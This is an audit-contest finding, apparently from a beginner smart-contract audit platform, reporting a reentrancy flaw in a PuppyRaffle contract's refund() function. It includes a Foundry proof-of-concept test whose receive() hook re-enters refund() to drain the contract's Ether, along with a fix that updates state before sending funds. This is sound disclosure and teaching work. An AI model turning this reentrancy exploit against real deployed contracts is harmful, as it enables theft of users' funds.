Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

refund function allows external contract to drain ether funds

Summary

The function refund, allows an external contract to drain all Ether funds from the contract by executing a reentrancy attack.

Vulnerability Details

refund function vulnerable to reentrancy attack

Impact

Loss of contract Ether funds

POC using forge test

function testRefundReentrancy() public playersEntered {
assertEq(address(puppyRaffle).balance, 4 * entranceFee);
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
assertEq(address(puppyRaffle).balance, 0);
}
receive() external payable {
if (address(puppyRaffle).balance > 0) {
uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
}
}

Tools Used

  • Foundry

  • Slither

Recommendations

Update player state first before sending Ether. Please see reentrancy attacks for further details

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!